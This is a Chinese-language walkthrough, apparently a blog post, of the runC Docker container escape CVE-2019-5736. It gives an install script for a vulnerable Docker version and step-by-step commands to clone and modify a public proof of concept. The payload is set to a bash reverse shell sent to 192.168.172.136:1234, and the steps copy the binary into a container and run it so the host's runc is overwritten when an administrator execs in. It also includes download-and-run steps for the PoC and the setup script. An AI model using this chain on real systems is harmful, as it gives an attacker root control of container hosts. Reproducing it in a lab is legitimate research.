Docker逃逸--runC容器逃逸漏洞(CVE-2019-5736)

 漏洞简述：

攻击者可以通过特定的容器镜像或者exec操作可以获取到宿主机的runC执行时的文件句柄并修改掉runc的二进制文件，从而获取到宿主机的root执行权限。

 利用条件：

Docker版本 < 18.09.2，runC版本< 1.0-rc6。（在Docker 18.09.2之前的版本中使用了的runc版本小于1.0-rc6。）

可通过 docker 和docker-runc 查看当前版本情况。

漏洞测试复现：

 1、漏洞环境准备：

curl https://gist.githubusercontent.com/thinkycx/e2c9090f035d7b09156077903d6afa51/raw -o install.sh && bash install.sh

　或者直接下载脚本安装

chmod 777 install.sh && ./install.sh

install.sh 内容如下：

#!/bin/bash
# date: 20190523
# author: thinkycx
# Description: you can use this to install vulnerable docker ( CVE-2019-5736 docker runc escape )
#              tested on centos7/ubuntu16.04
# Usage:
#       1. curl https://gist.githubusercontent.com/thinkycx/e2c9090f035d7b09156077903d6afa51/raw -o install.sh && bash install.sh
#       2. run docker_escape in docker container
# 



_centos_docker_old_version(){
    sudo yum install containerd.io
    wget https://download.docker.com/linux/centos/7/x86_64/stable/Packages/docker-ce-18.06.0.ce-3.el7.x86_64.rpm
    sudo yum install docker-ce-18.06.0.ce-3.el7.x86_64.rpm
    # sudo yum install docker-ce-cli
    # I cannot find a version matches with the docker-ce, so I didn't install it.

    # docker --version
    # Docker version 18.06.0-ce, build 0ffa825

    # more info
    # It seems that we can use the scirpt to install docker. I haven't tested it.
    # apt-get -y install curl
    # curl -fsSL test.docker.com -o test-docker.sh
    # VERSION=18.03.1 sh test-docker.sh
}

centos_install_docker(){
    # date 20190523
    # ref https://docs.docker.com/install/linux/docker-ce/centos/#install-using-the-convenience-script
    echo "[*] uninstall old..."
    sudo yum remove docker 
                  docker-client 
                  docker-client-latest 
                  docker-common 
                  docker-latest 
                  docker-latest-logrotate 
                  docker-logrotate 
                  docker-engine
    # The contents of /var/lib/docker/, including images, containers, volumes, and networks, are preserved. 
    # The Docker CE package is now called docker-ce

    # Install using the repository
    ## SET UP THE REPOSITORY
    ### Install required packages. yum-utils provides the yum-config-manager utility
    sudo yum install -y yum-utils 
                device-mapper-persistent-data 
                lvm2
    ### set up the stable repository.
    sudo yum-config-manager 
    --add-repo 
    https://download.docker.com/linux/centos/docker-ce.repo


    # install a specific version of Docker CE
    #yum list docker-ce --showduplicates | sort -r

    # sudo yum install docker-ce-<VERSION_STRING> docker-ce-cli-<VERSION_STRING> containerd.io
    # e.g docker-ce-18.09.1
    #sudo yum install docker-ce-18.09.6 docker-ce-cli-18.09.6 containerd.io

    # check  GPG key, verify that the fingerprint matches
    # 060A 61C5 1B55 8A7F 742B 77AA C52F EB6B 621E 9F35

    _centos_docker_old_version

    sudo systemctl start docker
}

ubuntu_install_docker(){
    # use script to install docker on ubuntu
    curl -fsSL https://get.docker.com -o get-docker.sh && 
    sudo VERSION=18.06.0 sh get-docker.sh
    sudo systemctl start docker

}


install_dependencies(){
        source /etc/os-release
        echo "OS: ", $ID 
        if [ $ID == "centos" ]; then
          centos_install_docker
        elif [ $ID == "ubuntu" ]; then
          ubuntu_install_docker
        else
          echo "[!] cannot support your OS."
          exit
        fi 
        echo "[*] start to run docker..."
        docker run -it ubuntu:18.04 "/bin/bash" 
}


# bash main...
install_dependencies

# Please run it manually in docker container.
docker_escape(){
    # run commands in container as to escape docker container . 
    # yous should compile POC yourself
    # https://github.com/Frichetten/CVE-2019-5736-PoC
    # compile main.go on macOS :
    # $ CGO_ENABLED=0 GOOS=linux GOARCH=amd64  go build -o poc main.go 
    apt-get update -y && 
    apt-get install curl -y  && 
    apt-get install libseccomp-dev -y 

    curl URL -o poc &&             
    chmod u+x ./poc
    ./poc
}

 2、下载POC，编译脚本

# 下载POC
git clone https://github.com/Frichetten/CVE-2019-5736-PoC

# 修改Payload
vi main.go
payload = "#!/bin/bash 
 bash -i >& /dev/tcp/192.168.172.136/1234 0>&1"

# 编译生成payload
CGO_ENABLED=0 GOOS=linux GOARCH=amd64 go build main.go

 3、模仿攻击者，在容器中执行payload

# 拷贝到docker容器
sudo docker cp ./main 248f8b7d3c45:/tmp

# 进入容器
sudo docker exec -it 248f8b7d3c45 /bin/bash

# 修改权限
chmod 777 main

# 执行Payload
./main

 4、假设，管理员通过exec进入容器，从而触发Payload。

sudo docker exec -it  cafa20cfb0f9 /bin/sh

 5、在192.168.172.136上监听本地端口，成功获取宿主机反弹回来的shell。